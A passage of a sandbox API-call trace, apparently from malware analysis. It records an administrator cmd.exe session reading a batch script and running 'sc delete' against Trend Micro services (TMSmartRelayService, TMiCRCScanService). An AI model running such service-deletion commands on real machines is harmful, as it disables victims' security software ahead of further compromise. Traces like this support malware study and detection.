lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.140] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete TMSmartRelayService\n\n\nA\"\n") returned 1 [0079.140] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.140] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.140] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.140] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete TMSmartRelayService\n\n\nA\"\n") returned 1 [0079.140] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.141] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.141] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.141] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete TMSmartRelayService\n\n\nA\"\n") returned 1 [0079.141] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.141] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.141] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.141] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete TMSmartRelayService\n\n\nA\"\n") returned 1 [0079.141] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.141] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.141] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.141] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete TMSmartRelayService\n\n\nA\"\n") returned 1 [0079.141] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.141] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.141] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.141] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete TMSmartRelayService\n\n\nA\"\n") returned 1 [0079.141] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.141] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.141] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.141] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete TMSmartRelayService\n\n\nA\"\n") returned 1 [0079.141] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.141] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.142] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.142] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te TMSmartRelayService\n\n\nA\"\n") returned 1 [0079.142] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.142] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.142] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.142] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e TMSmartRelayService\n\n\nA\"\n") returned 1 [0079.142] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.142] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.142] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.142] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" TMSmartRelayService\n\n\nA\"\n") returned 1 [0079.142] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.142] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.142] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.142] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="TMSmartRelayService\n\n\nA\"\n") returned 1 [0079.142] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.142] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.142] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.142] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="MSmartRelayService\n\n\nA\"\n") returned 1 [0079.142] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.142] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.142] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.143] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="imartRelayService\n\n\nA\"\n") returned 1 [0079.143] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.143] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.143] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.143] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="CartRelayService\n\n\nA\"\n") returned 1 [0079.143] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.143] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.143] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.143] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="RrtRelayService\n\n\nA\"\n") returned 1 [0079.143] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.143] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.143] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.143] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="CtRelayService\n\n\nA\"\n") returned 1 [0079.143] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.143] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.143] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.143] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="SRelayService\n\n\nA\"\n") returned 1 [0079.143] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.143] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.143] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.143] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="celayService\n\n\nA\"\n") returned 1 [0079.143] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.143] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.143] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.143] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="alayService\n\n\nA\"\n") returned 1 [0079.144] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.144] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.144] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.144] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="nayService\n\n\nA\"\n") returned 1 [0079.144] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.144] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.144] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.144] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="SyService\n\n\nA\"\n") returned 1 [0079.144] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.144] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.144] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.144] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="eService\n\n\nA\"\n") returned 1 [0079.144] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.144] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.144] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.144] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr="rervice\n\n\nA\"\n") returned 1 [0079.144] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.144] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.144] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.144] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34e, cchWideChar=1 | out: lpWideCharStr="vrvice\n\n\nA\"\n") returned 1 [0079.144] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.144] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.144] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.145] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e350, cchWideChar=1 | out: lpWideCharStr="ivice\n\n\nA\"\n") returned 1 [0079.145] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.145] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.145] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.145] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e352, cchWideChar=1 | out: lpWideCharStr="cice\n\n\nA\"\n") returned 1 [0079.145] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.145] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.145] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.145] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e354, cchWideChar=1 | out: lpWideCharStr="ece\n\n\nA\"\n") returned 1 [0079.145] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.145] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.145] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.145] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e356, cchWideChar=1 | out: lpWideCharStr="\ne\n\n\nA\"\n") returned 1 [0079.145] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.145] GetFileType (hFile=0xb8) returned 0x3 [0079.145] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.145] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.145] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.145] GetFileType (hFile=0x120) returned 0x3 [0079.145] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.145] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete TMiCRCScanService\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete TMiCRCScanService\n", lpUsedDefaultChar=0x0) returned 29 [0079.145] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x1c, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x1c, lpOverlapped=0x0) returned 1 [0079.145] GetProcessHeap () returned 0x240000 [0079.146] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x288630 [0079.146] GetProcessHeap () returned 0x240000 [0079.146] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x288630 | out: hHeap=0x240000) returned 1 [0079.146] GetProcessHeap () returned 0x240000 [0079.146] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0079.146] GetProcessHeap () returned 0x240000 [0079.146] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0079.146] GetProcessHeap () returned 0x240000 [0079.146] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x44) returned 0x25aa40 [0079.146] GetConsoleOutputCP () returned 0x1b5 [0079.146] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0079.146] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0079.146] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0079.146] GetProcessHeap () returned 0x240000 [0079.146] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0079.146] GetProcessHeap () returned 0x240000 [0079.147] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4a) returned 0x25ba10 [0079.147] GetProcessHeap () returned 0x240000 [0079.147] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c5b0 [0079.147] SetErrorMode (uMode=0x0) returned 0x1 [0079.147] SetErrorMode (uMode=0x1) returned 0x0 [0079.147] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c5c0, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0079.147] SetErrorMode (uMode=0x1) returned 0x1 [0079.147] GetProcessHeap () returned 0x240000 [0079.147] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c5b0, Size=0x62) returned 0x25c5b0 [0079.147] GetProcessHeap () returned 0x240000 [0079.147] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c5b0) returned 0x62 [0079.147] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0079.147] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0079.147] GetProcessHeap () returned 0x240000 [0079.147] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0079.147] GetProcessHeap () returned 0x240000 [0079.147] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0079.147] GetProcessHeap () returned 0x240000 [0079.147] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0079.147] GetProcessHeap () returned 0x240000 [0079.147] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0079.147] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0079.147] GetProcessHeap () returned 0x240000 [0079.147] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0079.147] GetProcessHeap () returned 0x240000 [0079.147] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0079.148] GetProcessHeap () returned 0x240000 [0079.148] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0079.148] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0079.148] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0079.148] GetLastError () returned 0x2 [0079.148] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0079.148] GetLastError () returned 0x2 [0079.148] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0079.148] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0079.148] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0079.148] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0079.148] GetLastError () returned 0x2 [0079.148] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0079.149] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0079.149] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0079.149] GetProcessHeap () returned 0x240000 [0079.149] RtlAllocateHeap 